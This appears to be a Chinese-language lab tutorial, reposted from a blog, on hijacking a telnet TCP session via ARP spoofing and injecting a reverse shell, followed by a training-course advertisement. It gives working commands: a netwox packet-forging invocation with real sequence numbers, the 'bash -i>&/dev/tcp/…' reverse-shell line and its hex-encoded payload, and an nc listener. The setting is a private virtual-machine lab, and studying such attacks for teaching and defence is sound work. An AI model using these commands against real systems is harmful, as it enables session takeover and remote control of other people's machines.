网络安全&TCP劫持实现反弹shell

  • A+
所属分类:安全文章
网络安全&TCP劫持实现反弹shell

网安教育

培养网络安全人才

技术交流、学习咨询



1

实验环境


1.kali linux ;kali linux 介绍

   kali linux 的安装过程及解决问题方法

2.ubuntu虚拟机 两台 //其他的如Redhat 、centos也可以


2

TCP劫持


TCP劫持的前提是需要获取到通信双方的TCP流量的数据包

如果不知道数据包的情况下,会形成ack风暴;

形成ACK风暴的原因:




ack风暴(storm)。当会话双方接收到一个不期望的数据包后,就会用自己期望的序列号返回ack包;而在另一端,这个数据包也不是所期望的,就会再次以自己期望的序列号返回ACK包,于是 来回往返 形成了恶性循环,最终导致ACK风暴。



解决方法:




先进行ARP欺骗或MAC洪泛攻击 使得双方的数据包正常的发送到攻击者这里,然后设置包转发



TCP劫持攻击原理描述如下图描述所示:

网络安全&TCP劫持实现反弹shell

为了进一步达到攻击服务器后的其他效果 可以使用反弹shell结合TCP会话劫持来达到目的


3

反弹shell


反弹shell的原理:

1. 关于反弹shell




就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。




2. 反弹shell的原因

通常用于被控端因防火墙受限、权限不足、端口被占用等情形




假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面,web服务,ssh,telnet等等,都是正向连接。那么什么情况下正向连接不太好用了呢?

1)某客户机中了你的网马,但是它在局域网内,你直接连接不了。

2)它的ip会动态改变,你不能持续控制。

3)由于防火墙等限制,对方机器只能发送请求,不能接收请求。

4)对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。





1**那么反弹就很好理解了,攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。**


在以下的场景中可以使用TCP会话劫持和反弹shell达到攻击数据sever的目的。

网络安全&TCP劫持实现反弹shell

实现概述:反向shell的注入 就是在TCP劫持攻击的时候将数据换成反向shell的命令;如上图中利用通过会话劫持 取得server和数据server的会话 向数据server 发送给修改后的反向shell数据包,从而使得数据server主动向攻击者建立连接 从而实现破坏


4

实验过程


模拟过程中:kali 地址为192.168.247.128;服务器为192.168.247.130;数据服务器为:192.168.247.130

1、获取数据包

利用ARP欺骗攻击来使得获取通信双方数据包

ARP欺骗攻击<https://blog.csdn.net/csdn10086110/article/details/104987216>


2、模拟产生TCP会话

地址 130 telnet 129

网络安全&TCP劫持实现反弹shell


3、在kali上抓取数据包

网络安全&TCP劫持实现反弹shell

找到数据server给server的最后一个回包


4、利用netwox工具伪造包

网络安全&TCP劫持实现反弹shell

网络安全&TCP劫持实现反弹shell

网络安全&TCP劫持实现反弹shell

网络安全&TCP劫持实现反弹shell


 1Usage: netwox 40 [-c uint32] [-e uint32] [-f|+f] [-g|+g] [-h|+h] [-i uint32] [-j uint32] [-k uint32] [-l ip] [-m ip] [-n ip4opts] [-o port] [-p port] [-q uint32] [-r uint32] [-s|+s] [-t|+t] [-u|+u] [-v|+v] [-w|+w] [-x|+x] [-y|+y] [-z|+z] [-A|+A] [-B|+B] [-C|+C] [-D|+D] [-E uint32] [-F uint32] [-G tcpopts] [-H mixed_data] [-a spoofip] [-J uint32] [-K uint32] [-L uint32] [-M uint32] [-N uint32]
2Parameters:
3-c|–ip4-tos uint32 IP4 tos {0}
4-e|–ip4-id uint32 IP4 id (rand if unset) {0}
5-f|–ip4-reserved|+f|–no-ip4-reserved IP4 reserved
6-g|–ip4-dontfrag|+g|–no-ip4-dontfrag IP4 dontfrag
7-h|–ip4-morefrag|+h|–no-ip4-morefrag IP4 morefrag
8-i|–ip4-offsetfrag uint32 IP4 offsetfrag {0} //ipv4是否存在片偏移
9-j|–ip4-ttl uint32 IP4 ttl {0} //TTL值
10-k|–ip4-protocol uint32 IP4 protocol {0} //TCP协议号
11-l|–ip4-src ip IP4 src {192.168.149.128}
12-m|–ip4-dst ip IP4 dst {5.6.7.8}
13-n|–ip4-opt ip4opts IPv4 options
14-o|–tcp-src port TCP src {1234}
15-p|–tcp-dst port TCP dst {80}
16-q|–tcp-seqnum uint32 TCP seqnum (rand if unset) {0}
17-r|–tcp-acknum uint32 TCP acknum {0}
18-s|–tcp-reserved1|+s|–no-tcp-reserved1 TCP reserved1
19-t|–tcp-reserved2|+t|–no-tcp-reserved2 TCP reserved2
20-u|–tcp-reserved3|+u|–no-tcp-reserved3 TCP reserved3
21-v|–tcp-reserved4|+v|–no-tcp-reserved4 TCP reserved4
22-w|–tcp-cwr|+w|–no-tcp-cwr TCP cwr
23-x|–tcp-ece|+x|–no-tcp-ece TCP ece
24-y|–tcp-urg|+y|–no-tcp-urg TCP urg
25-z|–tcp-ack|+z|–no-tcp-ack TCP ack
26-A|–tcp-psh|+A|–no-tcp-psh TCP psh
27-B|–tcp-rst|+B|–no-tcp-rst TCP rst
28-C|–tcp-syn|+C|–no-tcp-syn TCP syn
29-D|–tcp-fin|+D|–no-tcp-fin TCP fin
30-E|–tcp-window uint32 TCP window {0}
31-F|–tcp-urgptr uint32 TCP urgptr {0}
32-G|–tcp-opt tcpopts TCP options
33-H|–tcp-data mixed_data mixed data
34-a|–spoofip spoofip IP spoof initialization type {best}
35-J|–ip4-ihl uint32 IP4 ihl {5}
36-K|–ip4-totlen uint32 IP4 totlen {0}
37-L|–ip4-checksum uint32 IP4 checksum {0}
38-M|–tcp-doff uint32 TCP data offset {0}
39-N|–tcp-checksum uint32 TCP checksum {0}


配置示例:

如果配置 --ip4-opt opition 后边需要配置参数

1sudo netwox 40 --ip4-ttl 64 --ip4-protocol 6 --ip4-src IP地址  --ip4-dst 
2IP地址  --tcp-src 源端口 --tcp-dst 目的端口 --tcp-seqnum 数值   --tcp-acknum 数值
3 --tcp-ack --tcp-psh --tcp-window 227 --tcp-data "注入代码" 


根据最后一个数据包进行伪造数据包

网络安全&TCP劫持实现反弹shell


则根据实验数据:

1sudo netwox 40  --ip4-ttl  64  --ip4-protocol  6  --ip4-src 192.168.247.130  --ip4-dst 192.168.247.129  --tcp-src  60140  --tcp-dst  23  --tcp-seqnum  2318468613   --tcp-acknum  3285041215   --tcp-ack  --tcp-psh --tcp-window 227 --tcp-data “代码”


反射shell语句

其中代码为反射shell的语句:

1bash -i>&/dev/tcp/192.168.247.128/8888 0>&1
2其中192.168.247.128为kali的IP地址


bash -i>&/dev/tcp/192.168.247.128/8888 0>&1

 11. Bash –i  即产生一个bash交互环境
2
32. >&      
4
5     1)当>&后面接文件时,表示将标准输出和标准错误输出重定向至文件
6
7     2)当>&后面接文件描述符时,表示将前面的文件描述符重定向至后面的文件描述符
8
9 3. /dev/tcp/192.168.247.128/8888  让数据server与kali主机进行tcp连接,端口为8888(注:linux下所有内容都以文件形式组织存在,所以看到/dev/tcp不用感到奇怪,它是Linux中的一个特殊设备,打开这个文件就相当于进行了一个socket调用,建立一个socket连接)
10
11  >& 后面接 /dev/tcp/ip/port,根据3的注释和2的注释1)部分可知,意思为将标准输出和标准错误输出重定向到这个文件,重定向到socket连接的kali主机上,此时如果kali主机正在监听相应的端口,就会收到数据server的bash的标准输出和标准错误输出
12
13 40>&1 将标准输入重定向到标准输出,而标准输出在之前已经重定向到kali主机了,添加这一部分是因为如果没有这一部分,在kali主机上只能接收输出,而无法输入,或者说无法交互,添加上这一部分后,在kali主机看来,就相当于拿到了数据server的shell


1注:   0 - stdin 代表标准输入,使用<或<<
2
3      1 - stdout 代表标准输出,使用>或>>
4
5      2 - stderr 代表标准错误输出,使用2>或2>>)


想了解反弹shell语句的内容可以点击蓝字:

网络安全&反弹shell?<https://blog.csdn.net/csdn10086110/article/details/104985213>


字符转换

字符在线转换为16进制<http://www.3464.com/tools/StrToHex/JiaMi.asp>


则最后的攻击语句为:

162617368202D693E262F6465762F7463702F3139322E3136382E3234372E3132382F3838383820303E26310d00
2//攻击代码转换后的16机制值,0d00是后添加的0d r 为回到首行 00 是n 为换行


1sudo netwox 40 --ip4-ttl 64 --ip4-protocol 6 --ip4-src
2192.168.247.130 --ip4-dst 192.168.247.129 --tcp-src 60140 --tcp-dst 23 --tcp-seqnum 2318468613 --tcp-acknum 3285041215 --tcp-ack --tcp-psh --tcp-window 227 --tcp-data 62617368202D693E262F6465762F7463702F3139322E3136382E3234372E3132382F3838383820303E26310d00


5.开启端口监视

就是在攻击者的主机上进行监视反弹shell中的端口

1nc -lp 8888 -vvv


1-l 进入监听模式
2-v 进入"啰嗦模式",这将会显示很多有用的信息。使用多个(-vv,-vvv…)进入更"啰嗦"的模式。
3-p 设置要绑定的端口号


更多关于nc工具的使用 可以参考下边文献:

NC工具的使用<https://blog.csdn.net/csdn10086110/article/details/104987098>


6.攻击

网络安全&TCP劫持实现反弹shell

网络安全&TCP劫持实现反弹shell

反射shell 模拟成功。

网络安全&TCP劫持实现反弹shell

文:时不我待

转自:https://blog.csdn.net/csdn10086110/article/details/104983528

如有侵权请联系删除


开源聚合网安训练营

战疫期间,开源聚合网络安全基础班、实战班线上全面开启,学网络安全技术、升职加薪……有兴趣的可以加入开源聚合网安大家庭,一起学习、一起成长,考证书求职加分、升级加薪,有兴趣的可以咨询客服小姐姐哦!

网络安全&TCP劫持实现反弹shell

加QQ(1005989737)找小姐姐私聊哦



精选文章


环境搭建
Python
学员专辑
信息收集
CNVD
安全求职
渗透实战
CVE
高薪揭秘
渗透测试工具
网络安全行业
神秘大礼包
基础教程
我们贴心备至
用户答疑
 QQ在线客服
加入社群
QQ+微信等着你

网络安全&TCP劫持实现反弹shell


我就知道你“在看”
网络安全&TCP劫持实现反弹shell

本文始发于微信公众号(开源聚合网络空间安全研究院):网络安全&TCP劫持实现反弹shell

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: